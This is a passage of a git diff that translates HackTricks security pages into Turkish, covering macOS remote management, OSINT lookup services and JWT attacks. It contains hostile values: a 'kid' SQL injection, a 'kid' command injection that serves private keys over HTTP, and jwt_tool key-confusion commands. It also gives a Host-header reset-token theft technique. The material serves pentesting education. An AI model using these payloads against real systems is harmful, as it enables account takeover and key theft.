nedeniyle brute force saldırılarına özellikle açıktır. ARD'yi ayrıcalık yükseltme, GUI erişimi veya kullanıcı izleme gibi çeşitli yönetim görevleri için etkinleştirmek için aşağıdaki komutu kullanın: ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` -ARD, gözlem, paylaşılan kontrol ve tam kontrol dahil olmak üzere çok yönlü kontrol seviyeleri sağlar ve oturumlar kullanıcı şifre değişikliklerinden sonra bile devam eder. Unix komutlarını doğrudan göndermeye ve bunları yönetici kullanıcılar için root olarak çalıştırmaya olanak tanır. Görev zamanlama ve Uzaktan Spotlight arama, birden fazla makine arasında hassas dosyalar için uzaktan, düşük etkili aramalar yapmayı kolaylaştıran dikkate değer özelliklerdir. +ARD, gözlem, paylaşılan kontrol ve tam kontrol dahil olmak üzere çok yönlü kontrol seviyeleri sağlar ve oturumlar kullanıcı şifre değişikliklerinden sonra bile devam eder. Yönetici kullanıcılar için kök olarak Unix komutlarını doğrudan göndermeye ve çalıştırmaya olanak tanır. Görev zamanlama ve Uzaktan Spotlight arama, birden fazla makine arasında hassas dosyalar için uzaktan, düşük etkili aramalar yapmayı kolaylaştıran dikkate değer özelliklerdir. ## Bonjour Protokolü -Apple tarafından tasarlanan Bonjour, **aynı ağdaki cihazların birbirlerinin sunduğu hizmetleri tespit etmesine olanak tanır**. Rendezvous, **Zero Configuration** veya Zeroconf olarak da bilinen bu teknoloji, bir cihazın TCP/IP ağına katılmasını, **otomatik olarak bir IP adresi seçmesini** ve hizmetlerini diğer ağ cihazlarına yayınlamasını sağlar. +Bonjour, Apple tarafından tasarlanmış bir teknoloji olup, **aynı ağdaki cihazların birbirlerinin sunduğu hizmetleri tespit etmesine olanak tanır**. Rendezvous, **Sıfır Konfigürasyon** veya Zeroconf olarak da bilinir, bir cihazın TCP/IP ağına katılmasını, **otomatik olarak bir IP adresi seçmesini** ve hizmetlerini diğer ağ cihazlarına yayınlamasını sağlar. -Bonjour tarafından sağlanan Zero Configuration Networking, cihazların: +Bonjour tarafından sağlanan Sıfır Konfigürasyon Ağı, cihazların: -- **Otomatik olarak bir IP Adresi almasını** sağlar, DHCP sunucusu yoksa bile. +- **Bir IP Adresi otomatik olarak elde etmesini** sağlar, DHCP sunucusu yoksa bile. - **isimden-adrese çeviri** yapmasını, DNS sunucusu gerektirmeden gerçekleştirir. - Ağda mevcut olan **hizmetleri keşfetmesini** sağlar. -Bonjour kullanan cihazlar, kendilerine **169.254/16 aralığından bir IP adresi atar** ve ağdaki benzersizliğini doğrular. Mac'ler, bu alt ağ için bir yönlendirme tablosu girişi tutar, bu giriş `netstat -rn | grep 169` ile doğrulanabilir. +Bonjour kullanan cihazlar, kendilerine **169.254/16 aralığından bir IP adresi atar** ve ağdaki benzersizliğini doğrular. Mac'ler, bu alt ağ için bir yönlendirme tablosu girişi tutar, bu da `netstat -rn | grep 169` komutuyla doğrulanabilir. DNS için Bonjour, **Multicast DNS (mDNS) protokolünü** kullanır. mDNS, **port 5353/UDP** üzerinden çalışır ve **standart DNS sorgularını** kullanarak **multicast adresi 224.0.0.251**'yi hedef alır. Bu yaklaşım, ağdaki tüm dinleyen cihazların sorguları almasını ve yanıt vermesini sağlar, böylece kayıtlarını güncelleyebilirler. -Ağa katıldığında, her cihaz kendine bir isim seçer, genellikle **.local** ile biter ve bu isim, ana bilgisayar adından türetilmiş veya rastgele oluşturulmuş olabilir. +Ağa katıldığında, her cihaz kendine bir isim seçer, genellikle **.local** ile biter ve bu isim ana bilgisayardan türetilmiş veya rastgele oluşturulmuş olabilir. -Ağ içindeki hizmet keşfi, **DNS Hizmet Keşfi (DNS-SD)** ile kolaylaştırılır. DNS SRV kayıtlarının formatını kullanan DNS-SD, birden fazla hizmetin listelenmesini sağlamak için **DNS PTR kayıtlarını** kullanır. Belirli bir hizmet arayan bir istemci, `.` için bir PTR kaydı talep eder ve eğer hizmet birden fazla ana bilgisayardan mevcutsa, `..` formatında bir dizi PTR kaydı alır. +Ağ içindeki hizmet keşfi, **DNS Hizmet Keşfi (DNS-SD)** ile kolaylaştırılır. DNS SRV kayıtlarının formatını kullanan DNS-SD, birden fazla hizmetin listelenmesini sağlamak için **DNS PTR kayıtlarını** kullanır. Belirli bir hizmet arayan bir istemci, `.` için bir PTR kaydı talep eder ve hizmet birden fazla ana bilgisayardan mevcutsa, `..` formatında bir dizi PTR kaydı alır. `dns-sd` aracı, **ağ hizmetlerini keşfetmek ve tanıtmak için** kullanılabilir. İşte kullanımına dair bazı örnekler: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index b12598618..552c98301 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -22,7 +22,7 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done; - **Standart Kullanıcı:** En temel kullanıcıdır. Bu kullanıcı, yazılım yüklemeye veya diğer gelişmiş görevleri gerçekleştirmeye çalışırken bir yönetici kullanıcısından izin alması gerekir. Kendi başına bunu yapamaz. - **Yönetici Kullanıcı**: Çoğu zaman standart kullanıcı olarak çalışan ancak yazılım yüklemek ve diğer idari görevleri gerçekleştirmek gibi root işlemleri yapmasına da izin verilen bir kullanıcıdır. Yönetici grubuna ait tüm kullanıcılar **sudoers dosyası aracılığıyla root erişimi alır**. -- **Root**: Neredeyse her türlü işlemi gerçekleştirmesine izin verilen bir kullanıcıdır (Sistem Bütünlüğü Koruması gibi korumalar tarafından sınırlamalar vardır). +- **Root**: Neredeyse her türlü işlemi gerçekleştirmeye izin verilen bir kullanıcıdır (Sistem Bütünlüğü Koruması gibi korumalar tarafından sınırlamalar vardır). - Örneğin, root `/System` içine bir dosya yerleştiremeyecektir. ## Harici Hesaplar diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md index 20ae047b5..558bc4e94 100644 --- a/src/macos-hardening/macos-useful-commands.md +++ b/src/macos-hardening/macos-useful-commands.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -### MacOS Otomatik Sıralama Araçları +### MacOS Otomatik Enumerasyon Araçları - **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md index 51e09bc72..938624c74 100644 --- a/src/online-platforms-with-api.md +++ b/src/online-platforms-with-api.md @@ -2,121 +2,112 @@ # [ProjectHoneypot](https://www.projecthoneypot.org/) -You can ask if an IP is related to suspicious/malicious activities. Completely free. +Bir IP'nin şüpheli/kötü niyetli faaliyetlerle ilişkili olup olmadığını sorabilirsiniz. Tamamen ücretsiz. # [**BotScout**](http://botscout.com/api.htm) -Check if the IP address is related to a bot that register accounts. It can also check usernames and emails. Initially free. +IP adresinin hesap kaydeden bir botla ilişkili olup olmadığını kontrol edin. Kullanıcı adları ve e-postaları da kontrol edebilir. Başlangıçta ücretsiz. # [Hunter](https://hunter.io/) -Find and verify emails. -Some free API requests free, for more you need to pay. -Commercial? +E-postaları bulun ve doğrulayın. Bazı ücretsiz API istekleri mevcut, daha fazlası için ödeme yapmanız gerekiyor. Ticari mi? # [AlientVault](https://otx.alienvault.com/api) -Find Malicious activities related to IPs and Domains. Free. +IP'ler ve Alan Adları ile ilgili kötü niyetli faaliyetleri bulun. Ücretsiz. # [Clearbit](https://dashboard.clearbit.com/) -Find related personal data to a email \(profiles on other platforms\), domain \(basic company info ,mails and people working\) and companies \(get company info from mail\). -You need to pay to access all the possibilities. -Commercial? +Bir e-posta ile ilgili kişisel verileri \(diğer platformlardaki profiller\), alan adı \(temel şirket bilgileri, e-postalar ve çalışanlar\) ve şirketler \(e-postadan şirket bilgisi alın\) bulun. Tüm olanaklara erişmek için ödeme yapmanız gerekiyor. Ticari mi? # [BuiltWith](https://builtwith.com/) -Technologies used by webs. Expensive... -Commercial? +Web siteleri tarafından kullanılan teknolojiler. Pahalı... Ticari mi? # [Fraudguard](https://fraudguard.io/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. -Commercial? +Bir ana bilgisayarın \(alan adı veya IP\) şüpheli/kötü niyetli faaliyetlerle ilişkili olup olmadığını kontrol edin. Bazı ücretsiz API erişimi mevcut. Ticari mi? # [FortiGuard](https://fortiguard.com/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. +Bir ana bilgisayarın \(alan adı veya IP\) şüpheli/kötü niyetli faaliyetlerle ilişkili olup olmadığını kontrol edin. Bazı ücretsiz API erişimi mevcut. # [SpamCop](https://www.spamcop.net/) -Indicates if host is related to spam activity. Have some free API access. +Ana bilgisayarın spam faaliyetleriyle ilişkili olup olmadığını belirtir. Bazı ücretsiz API erişimi mevcut. # [mywot](https://www.mywot.com/) -Based on opinions and other metrics get if a domain is related with suspicious/malicious information. +Görüşler ve diğer metriklere dayanarak bir alan adının şüpheli/kötü niyetli bilgilerle ilişkili olup olmadığını öğrenin. # [ipinfo](https://ipinfo.io/) -Obtains basic info from an IP address. You can test up to 100K/month. +Bir IP adresinden temel bilgileri elde edin. Aylık 100K'a kadar test edebilirsiniz. # [securitytrails](https://securitytrails.com/app/account) -This platform give information about domains and IP addresses like domains inside an IP or inside a domain server, domains owned by an email \(find related domains\), IP history of domains \(find the host behind CloudFlare\), all domains using a nameserver.... -You have some free access. +Bu platform, bir IP içindeki veya bir alan adı sunucusundaki alan adları gibi alan adları ve IP adresleri hakkında bilgi verir, bir e-posta ile sahip olunan alan adlarını \(ilişkili alan adlarını bulun\), alanların IP geçmişini \(CloudFlare'ın arkasındaki ana bilgisayarı bulun\), bir nameserver kullanan tüm alan adlarını... Bazı ücretsiz erişiminiz var. # [fullcontact](https://www.fullcontact.com/) -Allows to search by email, domain or company name and retrieve "personal" information related. It can also verify emails. There is some free access. +E-posta, alan adı veya şirket adı ile arama yapmanıza ve ilgili "kişisel" bilgileri almanıza olanak tanır. E-postaları da doğrulayabilir. Bazı ücretsiz erişim mevcut. # [RiskIQ](https://www.spiderfoot.net/documentation/) -A lot of information from domains and IPs even in the free/community version. +Alan adları ve IP'ler hakkında çok fazla bilgi, hatta ücretsiz/topluluk sürümünde bile. # [\_IntelligenceX](https://intelx.io/) -Search Domains, IPs and emails and get info from dumps. Have some free access. +Alan adları, IP'ler ve e-postalar arayın ve dökümlerden bilgi alın. Bazı ücretsiz erişim mevcut. # [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) -Search by IP and gather information related to suspicions activities. There is some free access. +IP ile arama yapın ve şüpheli faaliyetlerle ilgili bilgileri toplayın. Bazı ücretsiz erişim mevcut. # [Greynoise](https://viz.greynoise.io/) -Search by IP or IP range and get information about IPs scanning the Internet. 15 days free access. +IP veya IP aralığı ile arama yapın ve İnterneti tarayan IP'ler hakkında bilgi alın. 15 gün ücretsiz erişim. # [Shodan](https://www.shodan.io/) -Get scan information of an IP address. Have some free api access. +Bir IP adresinin tarama bilgilerini alın. Bazı ücretsiz API erişimi mevcut. # [Censys](https://censys.io/) -Very similar to shodan +Shodan'a çok benzer. # [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) -Find open S3 buckets searching by keyword. +Anahtar kelime ile arama yaparak açık S3 bucket'ları bulun. # [Dehashed](https://www.dehashed.com/data) -Find leaked credentials of emails and even domains -Commercial? +Sızdırılmış e-posta ve hatta alan adlarının kimlik bilgilerini bulun. Ticari mi? # [psbdmp](https://psbdmp.ws/) -Search pastebins where a email appeared. Commercial? +Bir e-postanın göründüğü pastebin'leri arayın. Ticari mi? # [emailrep.io](https://emailrep.io/key) -Get reputation of a mail. Commercial? +Bir e-postanın itibarını alın. Ticari mi? # [ghostproject](https://ghostproject.fr/) -Get passwords from leaked emails. Commercial? +Sızdırılmış e-postalardan şifreleri alın. Ticari mi? # [Binaryedge](https://www.binaryedge.io/) -Obtain interesting info from IPs +IP'lerden ilginç bilgiler elde edin. # [haveibeenpwned](https://haveibeenpwned.com/) -Search by domain and email and get if it was pwned and passwords. Commercial? +Alan adı ve e-posta ile arama yapın ve pwned olup olmadığını ve şifreleri alın. Ticari mi? -[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in a commercial tool?\) +[https://dnsdumpster.com/](https://dnsdumpster.com/)\(ticari bir araçta mı?\) -[https://www.netcraft.com/](https://www.netcraft.com/) \(in a commercial tool?\) +[https://www.netcraft.com/](https://www.netcraft.com/) \(ticari bir araçta mı?\) -[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in a commercial tool?\) +[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(ticari bir araçta mı?\) {{#include ./banners/hacktricks-training.md}} - diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index f442a4533..c98dd9576 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -1,52 +1,38 @@ -# Other Web Tricks +# Diğer Web Hileleri {{#include ./banners/hacktricks-training.md}} -
-**Get a hacker's perspective on your web apps, network, and cloud** +### Host başlığı -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -### Host header - -Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenir. Örneğin, bu değeri **şifre sıfırlama için kullanılacak alan adı** olarak kullanabilir. Yani, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığında belirttiğiniz alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrolünüzde olan bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] -> Note that it's possible that you don't even need to wait for the user to click on the reset password link to get the token, as maybe even **spam filters or other intermediary devices/bots will click on it to analyze it**. +> Kullanıcının şifre sıfırlama bağlantısına tıklamasını beklemenize gerek kalmadan token'ı alabileceğinizi unutmayın, çünkü belki de **spam filtreleri veya diğer ara cihazlar/botlar bunu analiz etmek için tıklayacaktır**. -### Session booleans +### Oturum boolean'ları -Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ -However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +Bazen bazı doğrulamaları doğru bir şekilde tamamladığınızda arka uç, **oturumunuza bir güvenlik niteliğine "True" değeriyle bir boolean ekler**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\ +Ancak, eğer **kontrolü geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **erişim izniniz olmaması gereken** ancak **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi** deneyebilirsiniz. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). -### Register functionality +### Kayıt işlevselliği -Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode). +Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler (nokta, çok sayıda boşluk ve Unicode) kullanmayı da deneyin. -### Takeover emails +### E-postaları ele geçirme -Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account. +Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından, yeni onay e-postası ilk kaydedilen e-postaya gönderilirse, herhangi bir e-postayı ele geçirebilirsiniz. Ya da ikinci e-postayı birincisini onaylayacak şekilde etkinleştirebilirseniz, herhangi bir hesabı da ele geçirebilirsiniz. -### Access Internal servicedesk of companies using atlassian +### Atlassian kullanan şirketlerin İç Servis Masasına Erişim {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} -### TRACE method +### TRACE yöntemi -Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devre dışı bırakmayı unutabilir. Örneğin, HTTP `TRACE` yöntemi tanısal amaçlar için tasarlanmıştır. Etkinleştirildiğinde, web sunucusu `TRACE` yöntemini kullanan isteklere, alınan isteği yanıtında yankılayarak yanıt verir. Bu davranış genellikle zararsızdır, ancak bazen, ters proxy'ler tarafından isteklere eklenebilecek dahili kimlik doğrulama başlıklarının adları gibi bilgi ifşasına yol açabilir.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md index 8bd354c0a..2763d7545 100644 --- a/src/pentesting-dns.md +++ b/src/pentesting-dns.md @@ -1,9 +1,9 @@ {{#include ./banners/hacktricks-training.md}} -**Research more about attacks to DNS** +**DNS'e yönelik saldırılar hakkında daha fazla araştırma yapın** -**DNSSEC and DNSSEC3** +**DNSSEC ve DNSSEC3** -**DNS in IPv6** +**IPv6'daki DNS** {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 139c3f8e6..e6882872e 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -7,7 +7,7 @@ ### **Hızlı Kazanımlar** -[**jwt_tool**](https://github.com/ticarpi/jwt_tool) aracını `All Tests!` modu ile çalıştırın ve yeşil satırları bekleyin. +[**jwt_tool**](https://github.com/ticarpi/jwt_tool) aracını `All Tests!` modu ile çalıştırın ve yeşil satırları bekleyin ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ @@ -33,7 +33,7 @@ Bir JWT'nin imzasının doğrulanıp doğrulanmadığını kontrol etmek için: - Devam eden doğrulamayı öneren bir hata mesajı; ayrıntılı hatalardaki hassas bilgiler gözden geçirilmelidir. - Dönen sayfadaki bir değişiklik de doğrulamayı gösterir. -- Değişiklik yoksa, doğrulama yok demektir; bu, payload iddialarını manipüle etmek için deneme yapma zamanıdır. +- Değişiklik yoksa, doğrulama yok demektir; bu, payload taleplerini manipüle etmek için deneme yapma zamanıdır. ### Köken @@ -54,7 +54,7 @@ Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki de hiç s Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın. -Bu açığı denemek ve JWT içindeki farklı değerleri değiştirmek için "JSON Web Token" adlı Burp eklentisini kullanın (isteği Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. "Alg" alanının değerini "None" olarak ayarlamak için de seçebilirsiniz). +Bu açığı denemek ve JWT içindeki farklı değerleri değiştirmek için "JSON Web Token" adlı Burp eklentisini kullanın (isteği Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. Ayrıca "Alg" alanının değerini "None" olarak ayarlamayı seçebilirsiniz). ### Algoritmayı RS256 (asimetrik) yerine HS256 (simetrik) olarak değiştirin (CVE-2016-5431/CVE-2016-10555) @@ -63,7 +63,7 @@ RS256 algoritması, mesajı imzalamak için özel anahtarı kullanır ve kimlik Algoritmayı RS256'dan HS256'ya değiştirirseniz, arka uç kodu genel anahtarı gizli anahtar olarak kullanır ve ardından imzayı doğrulamak için HS256 algoritmasını kullanır. -Sonra, genel anahtarı kullanarak ve RS256'yı HS256'ya değiştirerek geçerli bir imza oluşturabiliriz. Bunu gerçekleştirerek web sunucusunun sertifikasını alabilirsiniz: +Sonra, genel anahtarı kullanarak ve RS256'yı HS256'ya değiştirerek geçerli bir imza oluşturabiliriz. Bunu gerçekleştirmek için web sunucusunun sertifikasını alabilirsiniz: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem @@ -81,19 +81,19 @@ Talimatlar, özellikle "jku" başlık iddiasını kullanan JWT token'larının g - **"jku" Başlığı ile Token'ları Değerlendirme**: - "jku" iddiasının URL'sini doğrulayarak uygun JWKS dosyasına yönlendirildiğinden emin olun. -- Token'ın "jku" değerini kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin, böylece trafik gözlemlenebilir. +- Token'ın "jku" değerini, trafiği gözlemlemek için kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin. - **HTTP Etkileşimini İzleme**: -- Belirtilen URL'nize yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir. -- Bu süreçte `jwt_tool` kullanırken, testin kolaylaştırılması için kişisel JWKS konumunuzu `jwtconf.ini` dosyasını güncelleyerek belirtmek önemlidir. +- Belirtilen URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir. +- Bu süreçte `jwt_tool` kullanırken, testin kolaylaştırılması için `jwtconf.ini` dosyasını kişisel JWKS konumunuzla güncellemek önemlidir. - **`jwt_tool` için Komut**: -- Aşağıdaki komutu `jwt_tool` ile senaryoyu simüle etmek için çalıştırın: +- `jwt_tool` ile senaryoyu simüle etmek için aşağıdaki komutu çalıştırın: ```bash python3 jwt_tool.py JWT_HERE -X s ``` -### Kid Sorunları Genel Bakış +### Kid Sorunları Genel Görünümü `kid` olarak bilinen isteğe bağlı bir başlık iddiası, belirli bir anahtarı tanımlamak için kullanılır ve bu, token imza doğrulaması için birden fazla anahtarın bulunduğu ortamlarda özellikle önemlidir. Bu iddia, bir token'ın imzasını doğrulamak için uygun anahtarın seçilmesine yardımcı olur. @@ -103,7 +103,7 @@ python3 jwt_tool.py JWT_HERE -X s #### "kid" ile Yol Geçişi -`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu, rastgele bir dosyanın seçilmesine olanak tanıyabilir. Belirli dosyalar veya hizmetler hedeflenerek `kid` değerini değiştirerek bağlantı testi yapmak veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi: +`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu, rastgele bir dosyanın seçilmesine olanak tanıyabilir. Belirli dosyalar veya hizmetler hedeflenerek `kid` değerini değiştirerek bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` @@ -111,7 +111,7 @@ Belirli içeriklere sahip dosyaları hedef alarak, geçerli bir JWT oluşturmak #### "kid" Üzerinden SQL Enjeksiyonu -Eğer `kid` iddiasının içeriği bir veritabanından şifre almak için kullanılıyorsa, `kid` yükünü değiştirerek bir SQL enjeksiyonu sağlanabilir. JWT imzalama sürecini değiştirmek için SQL enjeksiyonu kullanan bir örnek yük: +Eğer `kid` iddiasının içeriği bir veritabanından şifre almak için kullanılıyorsa, `kid` yükünü değiştirerek bir SQL enjeksiyonu gerçekleştirilebilir. JWT imzalama sürecini değiştirmek için SQL enjeksiyonu kullanan bir örnek yük: `non-existent-index' UNION SELECT 'ATTACKER';-- -` @@ -119,7 +119,7 @@ Bu değişiklik, JWT imzalama için bilinen bir gizli anahtar olan `ATTACKER`'ı #### "kid" Üzerinden OS Enjeksiyonu -`kid` parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirttiği bir senaryo, Uzaktan Kod Yürütme (RCE) zafiyetlerine yol açabilir. `kid` parametresine komutlar enjekte ederek özel anahtarları açığa çıkarmak mümkündür. RCE ve anahtar açığa çıkarmak için bir örnek yük: +`kid` parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirtmesi durumunda, Uzak Kod Yürütme (RCE) zafiyetlerine yol açabilir. `kid` parametresine komutlar enjekte ederek özel anahtarları açığa çıkarmak mümkündür. RCE ve anahtar açığa çıkarma için bir örnek yük: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` @@ -166,7 +166,7 @@ Bu iki güvenlik açığını da **SSRF'ler için** kötüye kullanabilirsiniz. #### x5c -Bu parametre **base64 formatında sertifika** içerebilir: +Bu parametre **base64 formatındaki sertifikayı** içerebilir: ![](<../images/image (1119).png>) @@ -181,7 +181,7 @@ Eğer JWT, aşağıdaki senaryodaki gibi gömülü bir genel anahtara sahipse: ![](<../images/image (624).png>) -Aşağıdaki nodejs betiğini kullanarak bu verilerden bir genel anahtar oluşturmak mümkündür: +Aşağıdaki nodejs betiği kullanılarak bu verilerden bir genel anahtar oluşturmak mümkündür: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); @@ -209,16 +209,16 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); ``` Sonunda, kamu ve özel anahtarı ve yeni "n" ve "e" değerlerini kullanarak [jwt.io](https://jwt.io) ile herhangi bir bilgiyle yeni geçerli bir JWT oluşturabilirsiniz. -### ES256: Aynı nonce ile özel anahtarın açığa çıkarılması +### ES256: Aynı nonce ile özel anahtarın ifşa edilmesi Bazı uygulamalar ES256 kullanıyorsa ve iki jwt oluşturmak için aynı nonce kullanıyorsa, özel anahtar geri yüklenebilir. -İşte bir örnek: [ECDSA: Aynı nonce kullanıldığında özel anahtarın açığa çıkarılması (SECP256k1 ile)](https://asecuritysite.com/encryption/ecd5) +İşte bir örnek: [ECDSA: Aynı nonce kullanıldığında özel anahtarın ifşa edilmesi (SECP256k1 ile)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) JTI (JWT ID) iddiası, bir JWT Token için benzersiz bir tanımlayıcı sağlar. Token'ın yeniden oynanmasını önlemek için kullanılabilir.\ -Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. 0001 ve 10001 isteği aynı ID'yi kullanacak. Bu nedenle, arka uç her istekte ID'yi artırıyorsa, bunu **bir isteği yeniden oynama** amacıyla kötüye kullanabilirsiniz (her başarılı yeniden oynama arasında 10000 istek göndermeniz gerekecek). +Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. 0001 ve 10001 isteği aynı ID'yi kullanacak. Bu nedenle, arka uç her istekte ID'yi artırıyorsa, bunu **bir isteği yeniden oynatmak** için kötüye kullanabilirsiniz (her başarılı yeniden oynatma arasında 10000 istek göndermeniz gerekecek). ### JWT Kayıtlı iddiaları @@ -228,13 +228,13 @@ Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. **Çapraz hizmet İletim Saldırıları** -Bazı web uygulamalarının token'larının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. JWT hizmeti tarafından bir müşteri için oluşturulan bir token'ın, aynı JWT hizmetinin başka bir müşterisi tarafından kabul edildiği durumlar kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o hizmetin başka bir müşterisinde bir hesap açma olasılığı araştırılmalıdır. Ardından, elde edilen token'ı hedefe bir istekte yeniden oynama girişiminde bulunulmalıdır. +Bazı web uygulamalarının token'larının oluşturulması ve yönetimi için 